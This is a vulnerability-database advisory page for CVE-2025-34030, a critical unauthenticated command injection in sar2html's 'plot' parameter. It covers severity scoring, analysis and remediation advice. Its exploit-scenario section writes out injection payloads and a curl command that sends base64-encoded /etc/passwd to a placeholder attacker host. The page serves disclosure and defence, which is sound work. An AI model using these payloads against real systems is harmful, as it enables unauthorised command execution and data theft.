Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability represents exceptional real-world risk across multiple dimensions: (1) CVSS v4.0 vector indicates network-accessible attack vector (AV:N), low attack complexity (AC:L), no target-specific configuration (AT:N), no privilege requirement (PR:N), and no user interaction (UI:N)—the most dangerous combination. Impact metrics show high confidentiality, integrity, and availability impact at both system and subsequent system levels (VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). (2) Active exploitation observed by Shadowserver Foundation as of 2025-02-04 indicates this is not theoretical; real attackers are already weaponizing it. (3) The unauthenticated, no-interaction nature makes this highly automatable and suitable for widespread scanning/exploitation campaigns. (4) SSVC framework would classify this as: Exploitation=Active, Automatable=Yes, Technical Impact=Total (full system compromise via arbitrary code execution)—resulting in immediate patching priority. (5) This is not a 'high-CVSS-but-low-real-risk' issue; all signals align to confirm critical severity. Any system running vulnerable sar2html versions exposed to untrusted networks faces imminent compromise risk. |
| Exploit ScenarioDerived | An unauthenticated attacker discovers a sar2html instance listening on a public IP address via port scanning or service enumeration. The attacker crafts a malicious HTTP GET request: 'http://target.com/sar2html/index.php?plot=;id;' or 'http://target.com/sar2html/index.php?plot=|id|' or 'http://target.com/sar2html/index.php?plot=$(whoami)'. When the application processes this request, the injected shell commands (id, whoami, etc.) are executed by the web server process on the underlying system. The attacker observes command output displayed in the web interface or exfiltrates data via DNS/HTTP callbacks injected into subsequent commands like 'curl http://attacker.com/?data=$(cat /etc/passwd|base64)'. With arbitrary command execution, the attacker can establish reverse shells, create backdoor accounts, modify system files, install malware, or pivot to internal networks. No proof-of-concept code needs to be sophisticated; basic command injection payloads work immediately due to complete lack of input sanitization. Given active exploitation was observed by Shadowserver on 2025-02-04, automated scanners and mass-exploitation tools likely already exist in the wild. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 15, 2026
CVE-2025-34030 is a critical OS command injection vulnerability in sar2html versions 3.2.2 and earlier that allows unauthenticated remote attackers to execute arbitrary shell commands through unsanitized input in the 'plot' parameter of index.php. The vulnerability has a perfect CVSS score of 10.0 and requires no authentication, user interaction, or special privileges to exploit. Active exploitation was observed by the Shadowserver Foundation as of February 4, 2025, indicating this is not a theoretical threat.
RemediationAI
Immediate actions: (1) If a patched version (likely 3.2.3 or later) is available from the sar2html project, upgrade immediately—this is the definitive fix. (2) If no patch is available, implement network-level mitigations: restrict HTTP access to sar2html to trusted IPs only via firewall rules or web server configuration (e.g., Apache/Nginx allow lists). (3) Disable or remove sar2html if not actively used. (4) As a temporary mitigation pending patching, implement strict input validation on the 'plot' parameter at the web server or WAF level: reject requests containing shell metacharacters (;|&`$()[]{}><\") or use a positive whitelist allowing only alphanumeric characters and safe delimiters. (5) Deploy Web Application Firewall (WAF) rules to detect command injection patterns in query parameters. (6) Monitor application and system logs for suspicious plot parameter values or unexpected command execution. (7) Consider running sar2html in a containerized/sandboxed environment with minimal privileges to limit blast radius. Check the official sar2html GitHub repository or SourceForge project page for official patch releases and vendor advisories.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
sar2html is a web application that visualizes system activity reports (SAR data) generated by the Linux sysstat package. The vulnerability exists in the index.php file's handling of the 'plot' GET parameter, which is passed unsanitized into a system-level command execution context (likely via PHP functions such as shell_exec(), system(), passthru(), or proc_open()). The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), a classic command injection flaw where user input is concatenated into OS command strings without proper escaping or parameterization. The attacker can inject shell metacharacters (semicolons, pipes, backticks, command substitution syntax) to chain arbitrary commands. The vulnerability is reachable via HTTP GET requests with no prior authentication, making it maximally accessible. Affected CPE would be: cpe:2.3:a:sar2html:sar2html:*:*:*:*:*:*:*:* with versions up to and including 3.2.2.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
An OS command injection vulnerability exists in sar2html version 3.2.2 and prior via the plot parameter in index.php. The application fails to sanitize user-supplied input before using it in a system-level context. Remote, unauthenticated attackers can inject shell commands by appending them to the plot parameter (e.g., ?plot=;id) in a crafted GET request. The output of the command is displayed in the application's interface after interacting with the host selection UI. Successful exploitation leads to arbitrary command execution on the underlying system. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-04 UTC.
Executive ViewAI
A critical remote code execution vulnerability (CVE-2025-34030) affects sar2html versions 3.2.2 and earlier, allowing unauthenticated attackers to execute arbitrary commands on affected servers. Active exploitation has been observed in the wild as of February 4, 2025, creating immediate risk to any organization running this application with internet-facing exposure.
Implement WAF rules to block malicious payloads in the 'plot' parameter (e.g., deny requests containing shell metacharacters: ;|&$()``); restrict sar2html access to internal networks only via network segmentation or VPN requirement; disable the plot parameter feature if operationally feasible; run the application with minimal privileges (non-root service account); implement strict input validation at the application firewall level; monitor system logs and process execution for suspicious activity originating from the sar2html application.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2025-18774
NVD
CVE.org
EPSS
Exploit-DB
GitHub